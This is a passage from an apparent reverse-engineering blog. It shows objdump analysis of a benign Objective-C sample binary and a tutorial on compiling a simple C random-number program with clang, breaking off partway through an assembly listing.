<pre><code><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Contents of section __TEXT,__cstring:
 100003e0c <span class="hljs-number">25400049</span> <span class="hljs-number">4e495449</span> 414c4953 <span class="hljs-number">494e4720</span>  <span class="hljs-operator">%</span>@.INITIALISING 
 100003e1c <span class="hljs-number">52414e44</span> 4f4d4e45 <span class="hljs-number">53530047</span> <span class="hljs-number">454e4552</span>  RANDOMNESS.GENER
 100003e2c 4154494e <span class="hljs-number">47205241</span> 4e444f4d 204e554d  ATING RANDOM NUM
 100003e3c <span class="hljs-number">42455200</span> <span class="hljs-number">47656e65</span> <span class="hljs-number">72617465</span> <span class="hljs-number">64206e75</span>  BER.Generated nu
 100003e4c 6d626572 3a202569 00546865 <span class="hljs-number">20676976</span>  mber: <span class="hljs-operator">%</span>i.The giv
 100003e5c 656e206e 756d6265 <span class="hljs-number">72206973</span> <span class="hljs-number">20657861</span>  en number <span class="hljs-keyword">is</span> exa
 100003e6c 63746c79 <span class="hljs-number">20696e20</span> <span class="hljs-number">74686520</span> 6d696464  ctly in the midd
 100003e7c 6c65206f <span class="hljs-number">66207477</span> 6f207065 <span class="hljs-number">72666563</span>  le of two perfec
 100003e8c <span class="hljs-number">74207371</span> <span class="hljs-number">75617265</span> 733a2025 6920616e  t squares: <span class="hljs-operator">%</span>i an
 100003e9c <span class="hljs-number">64202569</span> <span class="hljs-number">2e205265</span> 7475726e <span class="hljs-number">696e6720</span>  d <span class="hljs-operator">%</span>i. Returning 
 100003eac <span class="hljs-number">74686520</span> 6c6f7765 <span class="hljs-number">73740025</span> <span class="hljs-number">69206973</span>  the lowest.%i <span class="hljs-keyword">is</span>
 100003ebc <span class="hljs-number">20612070</span> <span class="hljs-number">65726665</span> <span class="hljs-number">63742073</span> <span class="hljs-number">71756172</span>   a perfect squar
 100003ecc <span class="hljs-number">65002569</span> <span class="hljs-number">20697320</span> 6e6f7420 <span class="hljs-number">61207065</span>  e.%i <span class="hljs-keyword">is</span> not a pe
 100003edc <span class="hljs-number">72666563</span> <span class="hljs-number">74207371</span> <span class="hljs-number">75617265</span> 00546865  rfect square.The
 100003eec <span class="hljs-number">206e6561</span> <span class="hljs-number">72657374</span> <span class="hljs-number">20737175</span> <span class="hljs-number">61726520</span>   nearest square 
 100003efc 746f2025 <span class="hljs-number">69206973</span> <span class="hljs-number">20256900</span> <span class="hljs-number">25692069</span>  to <span class="hljs-operator">%</span>i <span class="hljs-keyword">is</span> <span class="hljs-operator">%</span>i.%i i
 100003f0c <span class="hljs-number">73207072</span> 696d6500 <span class="hljs-number">25692069</span> 73206e6f  s prime.%i <span class="hljs-keyword">is</span> no
 100003f1c <span class="hljs-number">74207072</span> 696d6500                    t prime.
Contents of section __TEXT,__objc_methname:
 100003f24 <span class="hljs-number">73657456</span> 616c7565 3a007661 6c756500  setValue:.<span class="hljs-built_in">value</span>.
 100003f34 <span class="hljs-number">69735065</span> <span class="hljs-number">72666563</span> <span class="hljs-number">74537175</span> <span class="hljs-number">61726500</span>  isPerfectSquare.
 100003f44 <span class="hljs-number">72616e64</span> 6f6d496e 6974006e <span class="hljs-number">65617265</span>  randomInit.neare
 100003f54 <span class="hljs-number">73745065</span> <span class="hljs-number">72666563</span> <span class="hljs-number">74537175</span> <span class="hljs-number">61726500</span>  stPerfectSquare.
 100003f64 <span class="hljs-number">69735072</span> 696d6500 5f76616c <span class="hljs-number">75650054</span>  isPrime._value.T
 100003f74 692c565f 76616c75 <span class="hljs-number">6500</span>               i,V_value.
Contents of section __TEXT,__objc_classname:
 100003f7e 6d794e75 6d626572 00                 myNumber.

-<span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
</code></pre><p>Thus the section <code>__TEXT,__cstring</code> contains the strings that are used in the program, unsurprisingly. The section <code>__TEXT,__objc_methname</code> contains the names of the methods defined in the class myNumber, and the name of the classes defined in the program are contained in the section <code>__TEXT,__objc_classname</code>. This is not an Objective-C tutorial, so we don’t discuss methods such as <code>setValue</code>.</p>
<p>It comes time to see the symbol table of this program. The symbol table of a program is an ADT used by the compiler to define the symbols of the program – more info can be found at the Wikipedia page https://en.wikipedia.org/wiki/Symbol_table. We’ll come back on this in another article.</p>
<p>So, to obtain the symbol table, we simply use the switches <code>-t, --syms</code>. In this case, we have:</p>
<pre><code>gbiondo@tripleX Debugging <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span><span class="hljs-operator">-</span>syms myNumber

myNumber:    file format mach<span class="hljs-operator">-</span>o <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit x86<span class="hljs-number">-64</span>

SYMBOL TABLE:
00000001000036f0 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber randomInit]
0000000100003780 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber isPerfectSquare]
0000000100003800 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber nearestPerfectSquare]
0000000100003930 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber isPrime]
00000001000039f0 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber value]
0000000100003a10 l     F __TEXT,__text <span class="hljs-operator">-</span>[myNumber setValue:]
0000000100008040 l     O __DATA,__objc_const __OBJC_METACLASS_RO_$_myNumber
0000000100008088 l     O __DATA,__objc_const __OBJC_$_INSTANCE_METHODS_myNumber
0000000100008120 l     O __DATA,__objc_const __OBJC_$_INSTANCE_VARIABLES_myNumber
0000000100008148 l     O __DATA,__objc_const __OBJC_$_PROP_LIST_myNumber
0000000100008160 l     O __DATA,__objc_const __OBJC_CLASS_RO_$_myNumber
00000001000081e0 l     O __DATA,__objc_ivar _OBJC_IVAR_$_myNumber._value
0000000100008238 l     O __DATA,__data __dyld_private
0000000100008210 g     O __DATA,__objc_data _OBJC_CLASS_$_myNumber
00000001000081e8 g     O __DATA,__objc_data _OBJC_METACLASS_$_myNumber
0000000100000000 g     F __TEXT,__text __mh_execute_header
0000000100003a30 g     F __TEXT,__text _main
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _NSLog
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _OBJC_CLASS_$_NSObject
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _OBJC_METACLASS_$_NSObject
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> ___CFConstantStringClassReference
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> __objc_empty_cache
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _objc_alloc_init
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _objc_autoreleasePoolPop
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _objc_autoreleasePoolPush
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _objc_msgSend
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _objc_opt_new
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _rand
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _srand
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> _time
0000000000000000         <span class="hljs-operator">*</span>UND<span class="hljs-operator">*</span> dyld_stub_binder
</code></pre><p>Apart from the usual methods that we discussed previously, we see that at a certain point, this program will use the methods <code>_objc_alloc_init</code>, all the other methods prepended with <code>_objc</code>; <code>rand</code>, <code>srand</code>, and <code>time</code>. </p>
<p>We have found many references to subroutines that we took for granted, like if they were native instructions. An example could be _NSLog, but actually, this is a function defined somewhere else. It’s now time to understand where we can find it. We can discover the shared libraries used for linked files using the switch <code>--dylibs-used</code>. In this case, we need to specify we are interested in the MachO executable, using the switch <code>-m</code>. Dylibs are explained at the address: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/DynamicLibraryDesignGuidelines.html. We have:</p>
<pre><code>gbiondo@tripleX Debugging <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span><span class="hljs-operator">-</span>dylibs<span class="hljs-operator">-</span>used <span class="hljs-operator">-</span>m myNumber 
myNumber:
    <span class="hljs-operator">/</span>System<span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Frameworks<span class="hljs-operator">/</span>Foundation.framework/Versions<span class="hljs-operator">/</span>C<span class="hljs-operator">/</span>Foundation (compatibility version <span class="hljs-number">300.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">1856.105</span><span class="hljs-number">.0</span>)
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libSystem.B.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">1311.0</span><span class="hljs-number">.0</span>)
    <span class="hljs-operator">/</span>System<span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Frameworks<span class="hljs-operator">/</span>CoreFoundation.framework/Versions<span class="hljs-operator">/</span>A<span class="hljs-operator">/</span>CoreFoundation (compatibility version <span class="hljs-number">150.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">1856.105</span><span class="hljs-number">.0</span>)
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libobjc.A.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">228.0</span><span class="hljs-number">.0</span>)
</code></pre><p>The first library loaded is the Apple Foundation Framework. Information can be found at the URL https://developer.apple.com/documentation/foundation.</p>
<p><code>libSystem</code> is the system library and, in turn, implements other libraries such as <code>libc</code>, <code>libm</code> (math library), <code>libpthread</code> (POSIX threads), …</p>
<p>Seeing what this library contains may be a little tricky. On older MacOS versions (up until Big Sur), one could run:</p>
<pre><code>gbiondo@vecho <span class="hljs-operator">~</span> <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>m <span class="hljs-operator">-</span><span class="hljs-operator">-</span>dylibs<span class="hljs-operator">-</span>used shared_cache<span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libSystem.B.dylib
shared_cache<span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libSystem.B.dylib:
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libSystem.B.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">1292.50</span><span class="hljs-number">.1</span>)
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>system<span class="hljs-operator">/</span>libcache.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">83.0</span><span class="hljs-number">.0</span>, reexport)
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>system<span class="hljs-operator">/</span>libcommonCrypto.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">60178.40</span><span class="hljs-number">.2</span>, reexport)
... ... ... ... ... ... ... ... 
    <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>system<span class="hljs-operator">/</span>libxpc.dylib (compatibility version <span class="hljs-number">1.0</span><span class="hljs-number">.0</span>, current version <span class="hljs-number">2038.40</span><span class="hljs-number">.38</span>, reexport)
</code></pre><p>However, in newer versions (Monterey) this doesn’t work anymore:</p>
<pre><code>gbiondo@tripleX Debugging <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>m <span class="hljs-operator">-</span><span class="hljs-operator">-</span>dylibs<span class="hljs-operator">-</span>used shared_cache<span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>libSystem.B.dylib
<span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>objdump: <span class="hljs-function"><span class="hljs-keyword">error</span>: '<span class="hljs-title">shared_cache</span>/<span class="hljs-title">usr</span>/<span class="hljs-title">lib</span>/<span class="hljs-title">libSystem</span>.<span class="hljs-title">B</span>.<span class="hljs-title">dylib</span>': <span class="hljs-title">No</span> <span class="hljs-title">such</span> <span class="hljs-title">file</span> <span class="hljs-title">or</span> <span class="hljs-title">directory</span></span>
</code></pre><p>If you are wondering: the list of all libraries obtained before can be found in the file <strong>libSystem.B.dylib.included</strong> in the documentation.</p>
<p>The reason behind this discontinuity is the fact that with newer MacOS versions, Apple decided to push even more the virtualisation of the system. A discussion on the developer forums explains better the effects of this choice: https://developer.apple.com/forums/thread/655588. </p>
<p>We also included Foundation, hence the CoreFoundation framework libraries are in. The obvious implication is the fact that some Objective-C code is in the program as well, so its runtime is included (<code>libobjc.A.dylib</code>).</p>
<h2 id="heading-conclusions">Conclusions</h2>
<p>Here I had multiple objectives. First, I wanted to illustrate in practical terms what I explained in my previous article. I wanted also to show how the command <code>objdump</code> helps us to do binary analysis. Finally, I have introduced the hell of dynamic libraries. </p>
]]></content:encoded></item><item><title><![CDATA[Building a binary]]></title><description><![CDATA[Abstract
In this article, we discuss the process of compilation. We need to understand how something is built, prior to its reverse-engineering.
We will work with clang on Debian, a quite common setup. We are also taking a look at the same process on...]]></description><link>https://blog.reveng3.org/building-a-binary</link><guid isPermaLink="true">https://blog.reveng3.org/building-a-binary</guid><category><![CDATA[hacking]]></category><category><![CDATA[coding]]></category><category><![CDATA[compiler]]></category><category><![CDATA[unix]]></category><category><![CDATA[macOS]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Sat, 26 Mar 2022 07:40:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1647945820549/f0oZ2rGG9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-abstract">Abstract</h3>
<p><em>In this article, we discuss the process of compilation. We need to understand how something is built, prior to its reverse-engineering.</em></p>
<p><em>We will work with <code>clang</code> on Debian, a quite common setup. We are also taking a look at the same process on MacOS.</em></p>
<h1 id="heading-the-process-of-compilation">The process of Compilation</h1>
<p>In this article, we approach the process of C compilation. Changing the opportune details, this exercise can be replicated with other programming languages. Here we focus on the C language because in this case the process can be easily streamlined and, consequently, analysed. </p>
<p>Here we work with <code>clang</code>; the steps with GCC are identical. For practical reasons (we're running a Debian on a VM hosted on a MacOS), we will tend to give the MacOS examples, highlighting the differences where there are some.</p>
<p>We will work with the following program:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;time.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span>        MESSAGE1        <span class="hljs-meta-string">"Initialising random number generator"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span>        NL              <span class="hljs-meta-string">"\n"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span>        ENDL            printf(<span class="hljs-meta-string">"%s"</span>,NL)</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span>        MAXNUM            73</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">mySubroutine</span><span class="hljs-params">()</span></span>{
    <span class="hljs-keyword">int</span> value;
    <span class="hljs-comment">// Initialising random number generator</span>
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s"</span>, MESSAGE1);
    ENDL;
    srand((<span class="hljs-keyword">unsigned</span>) time(<span class="hljs-number">0</span>));
    value = ((<span class="hljs-keyword">int</span>)rand()) % MAXNUM;

    <span class="hljs-keyword">return</span> value;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> <span class="hljs-keyword">const</span> *argv[])</span>
</span>{
    <span class="hljs-keyword">int</span> myNum = mySubroutine();
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"the random number is %d"</span>, myNum);
    ENDL;
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>The program is very straightforward. 
In the first three lines, some C libraries are included. These instructions are usually called <strong>include directives</strong> and do what you expect them to do: they include source files in the current program in order to supply some functionalities.</p>
<p>The <code>#define</code> instructions (called <strong>macros</strong>) represent placeholders. During the compilation process, all instances of the macros are replaced with the specified text. To fix the ideas, take the <code>NL</code> macro. It is only used in another macro, <code>ENDL</code>.</p>
<p>The text preprocessor recursively replaces all the macros, hence <code>ENDL</code> becomes <code>printf("%s","\n")</code>, and all its occurrences are replaced with this value.</p>
<p>The remaining part are one subroutine - namely <code>mySubroutine</code> and the <code>main</code> program.</p>
<p><em>Observe that this program is quite unusual - everything is in the same file, which is not actually the best practice for C programming. 
</em></p>
<p>In short, the process of building a binary works as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647945820549/f0oZ2rGG9.png" alt="CompilationProcess.png" /></p>
<h2 id="heading-preprocessing">Preprocessing</h2>
<p>The very first thing that is required to create an executable (binary) consistent with the intentions of the developer is the actual inclusion of all required files and the replacement of the macros. </p>
<p>This phase is called <strong>preprocessing</strong>. During the text preprocessing phase, the libraries are included, and all the occurrences of the macros  are replaced with the corresponding definition. We can see the output of this phase by running the command <code>clang -E filename</code> (or, if you prefer using GCC, <code>gcc -E filename</code>). </p>
<p>The result in the Debian environment contains some interesting chunks of code. For instance, it shows the contents of all included libraries (below we show parts of the <code>stdlib.h</code> library):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647874176151/eGyH-3cPu.png" alt="Screenshot 2022-03-21 at 14.49.19.png" /></p>
<p>More interestingly, the result of the preprocessing on our program:</p>
<pre><code><span class="hljs-keyword">int</span> mySubroutine(){
 <span class="hljs-keyword">int</span> value;

 <span class="hljs-keyword">printf</span>(<span class="hljs-string">"%s"</span>, <span class="hljs-string">"Initialising random number generator"</span>);
 <span class="hljs-keyword">printf</span>(<span class="hljs-string">"%s"</span>,<span class="hljs-string">"\n"</span>);
 <span class="hljs-keyword">srand</span>((unsigned) <span class="hljs-keyword">time</span>(<span class="hljs-number">0</span>));
 value = ((<span class="hljs-keyword">int</span>)<span class="hljs-keyword">rand</span>()) % <span class="hljs-number">73</span>;

 <span class="hljs-keyword">return</span> value;
}

<span class="hljs-keyword">int</span> main(<span class="hljs-keyword">int</span> argc, char const *argv[])
{
 <span class="hljs-keyword">int</span> myNum = mySubroutine();
 <span class="hljs-keyword">printf</span>(<span class="hljs-string">"the random number is %d"</span>, myNum);
 <span class="hljs-keyword">printf</span>(<span class="hljs-string">"%s"</span>,<span class="hljs-string">"\n"</span>);
 <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>All the occurrences of macros have been successfully replaced. A similar behavior can be observed on the MacOS machine. Here we show the initial inclusions:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647874816463/ykYiHXTej.png" alt="Screenshot 2022-03-21 at 14.59.54.png" /></p>
<p>Observe that the result of the preprocessing phase is still a C program: all the libraries have been included, and all macros have been replaced. In fact, the only difference is that the code is more verbose and there is nothing that isn't explicitly defined. In the next step – the actual compilation – the output of the previous phase is taken and transformed into assembly code. </p>
<h2 id="heading-compilation">Compilation</h2>
<p>Once all libraries have been included and macro replaced, the code can be compiled. With the process of <strong>compilation</strong>, the preprocessed code is translated from C to assembly. We can stop <code>clang</code> (or <code>gdb</code>) after the compilation phase and obtain an assembly source (.s) file using the <code>-S</code> flag. A '<code>.s</code>' file (<code>.s</code> stands for 'source') is generated. </p>
<p>The result of this on our MacOS setup returns the following:</p>
<pre><code>gbiondo@tripleX BA % clang -S main.c
gbiondo@tripleX BA % head -<span class="hljs-number">30</span> main.s
    .section    __TEXT,__text,regular,pure_instructions
    .build_version macos, <span class="hljs-number">12</span>, <span class="hljs-number">0</span>    sdk_version <span class="hljs-number">12</span>, <span class="hljs-number">1</span>
    .globl    _mySubroutine                   <span class="hljs-comment">## -- Begin function mySubroutine</span>
    .p2align    <span class="hljs-number">4</span>, <span class="hljs-number">0x90</span>
_mySubroutine:                          <span class="hljs-comment">## @mySubroutine</span>
    .cfi_startproc
<span class="hljs-comment">## %bb.0:</span>
    pushq    %rbp
    .cfi_def_cfa_offset <span class="hljs-number">16</span>
    .cfi_offset %rbp, -<span class="hljs-number">16</span>
    movq    %rsp, %rbp
    .cfi_def_cfa_register %rbp
    subq    $16, %rsp
    leaq    L<span class="hljs-number">_</span>.str(%rip), %rdi
    leaq    L<span class="hljs-number">_</span>.str.<span class="hljs-number">1</span>(%rip), %rsi
    movb    $0, %al
    callq    _printf
    leaq    L<span class="hljs-number">_</span>.str(%rip), %rdi
    leaq    L<span class="hljs-number">_</span>.str.<span class="hljs-number">2</span>(%rip), %rsi
    movb    $0, %al
    callq    _printf
    xorl    %eax, %eax
    movl    %eax, %edi
    callq    _time
    movl    %eax, %edi
    callq    _srand
    callq    _rand
    cltd
    movl    $73, %ecx
    idivl    %ecx
</code></pre><p>It is immediate noticing that the syntax here utilised is the AT&amp;T one. To switch to the usual intel syntax, we can use the switch <code>-masm=intel</code>. To me, it's just a matter of habit: I am more used to this syntax, but the contents don't really change.</p>
<p>Putting it all together, we obtain:</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">BA</span> <span class="hljs-string">%</span> <span class="hljs-string">clang</span> <span class="hljs-string">-S</span> <span class="hljs-string">-masm=intel</span> <span class="hljs-string">main.c</span>
<span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">BA</span> <span class="hljs-string">%</span> <span class="hljs-string">cat</span> <span class="hljs-string">main.s</span>            
    <span class="hljs-string">.section</span>    <span class="hljs-string">__TEXT,__text,regular,pure_instructions</span>
    <span class="hljs-string">.build_version</span> <span class="hljs-string">macos,</span> <span class="hljs-number">12</span><span class="hljs-string">,</span> <span class="hljs-number">0</span>    <span class="hljs-string">sdk_version</span> <span class="hljs-number">12</span><span class="hljs-string">,</span> <span class="hljs-number">1</span>
    <span class="hljs-string">.intel_syntax</span> <span class="hljs-string">noprefix</span>
    <span class="hljs-string">.globl</span>    <span class="hljs-string">_mySubroutine</span>                   <span class="hljs-comment">## -- Begin function mySubroutine</span>
    <span class="hljs-string">.p2align</span>    <span class="hljs-number">4</span><span class="hljs-string">,</span> <span class="hljs-number">0x90</span>
<span class="hljs-attr">_mySubroutine:</span>                          <span class="hljs-comment">## @mySubroutine</span>
    <span class="hljs-string">.cfi_startproc</span>
<span class="hljs-comment">## %bb.0:</span>
    <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-string">.cfi_def_cfa_offset</span> <span class="hljs-number">16</span>
    <span class="hljs-string">.cfi_offset</span> <span class="hljs-string">rbp,</span> <span class="hljs-number">-16</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">rbp,</span> <span class="hljs-string">rsp</span>
    <span class="hljs-string">.cfi_def_cfa_register</span> <span class="hljs-string">rbp</span>
    <span class="hljs-string">sub</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">16</span>
    <span class="hljs-string">lea</span>    <span class="hljs-string">rdi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str</span>]
    <span class="hljs-string">lea</span>    <span class="hljs-string">rsi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str.1</span>]
    <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_printf</span>
    <span class="hljs-string">lea</span>    <span class="hljs-string">rdi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str</span>]
    <span class="hljs-string">lea</span>    <span class="hljs-string">rsi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str.2</span>]
    <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_printf</span>
    <span class="hljs-string">xor</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">eax</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">edi,</span> <span class="hljs-string">eax</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_time</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">edi,</span> <span class="hljs-string">eax</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_srand</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_rand</span>
    <span class="hljs-string">cdq</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">ecx,</span> <span class="hljs-number">73</span>
    <span class="hljs-string">idiv</span>    <span class="hljs-string">ecx</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">4</span>]<span class="hljs-string">,</span> <span class="hljs-string">edx</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">4</span>]
    <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">16</span>
    <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-string">ret</span>
    <span class="hljs-string">.cfi_endproc</span>
                                        <span class="hljs-comment">## -- End function</span>
    <span class="hljs-string">.globl</span>    <span class="hljs-string">_main</span>                           <span class="hljs-comment">## -- Begin function main</span>
    <span class="hljs-string">.p2align</span>    <span class="hljs-number">4</span><span class="hljs-string">,</span> <span class="hljs-number">0x90</span>
<span class="hljs-attr">_main:</span>                                  <span class="hljs-comment">## @main</span>
    <span class="hljs-string">.cfi_startproc</span>
<span class="hljs-comment">## %bb.0:</span>
    <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-string">.cfi_def_cfa_offset</span> <span class="hljs-number">16</span>
    <span class="hljs-string">.cfi_offset</span> <span class="hljs-string">rbp,</span> <span class="hljs-number">-16</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">rbp,</span> <span class="hljs-string">rsp</span>
    <span class="hljs-string">.cfi_def_cfa_register</span> <span class="hljs-string">rbp</span>
    <span class="hljs-string">sub</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">32</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">4</span>]<span class="hljs-string">,</span> <span class="hljs-number">0</span>
